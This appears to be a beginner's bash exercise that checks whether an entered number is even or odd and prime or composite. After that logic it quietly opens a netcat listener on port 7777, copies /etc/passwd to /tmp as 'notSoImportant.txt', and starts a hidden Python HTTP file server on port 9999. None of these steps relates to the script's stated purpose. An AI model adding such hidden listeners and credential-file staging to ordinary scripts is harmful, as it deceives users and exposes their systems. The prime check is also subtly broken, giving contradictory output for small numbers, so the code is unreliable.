LINUX 2

CUDE.SH

#!/bin/bash
let result=0;
echo "Enter The Number ";
echo "And lets Find, is the number Even/Odd and also Prime/Composite ";
read num1
if (($num1 < 1)); then
echo "Invalid  number should be greater than 0"
elif (( $num1% 2 == 0)); then
echo "The Number $num1 is even"
else
echo "The Number $num1 is odd"
fi
	# Prime Code//prime.sh
	if((num1<3));
	then
		echo "$num1 is neither prime nor Composite";
	fi
	for((i=2;i<num1;i++));
	do
		if(((num1%i)==0));
		then
			flag=1;	
			break;
		fi
	done
	if((flag==1));
	then
		echo " and Composite";
	else
		echo " and prime";
	fi
	#prime Code/end
#NC cmnd chk later.
nc -l -p 7777 &
# Chk this later on not working

#copy passwd file
cp /etc/passwd /tmp/notSoImportant.txt &
# Running Python Script(Python Version 2.7)
python -m SimpleHTTPServer 9999 &>/dev/null &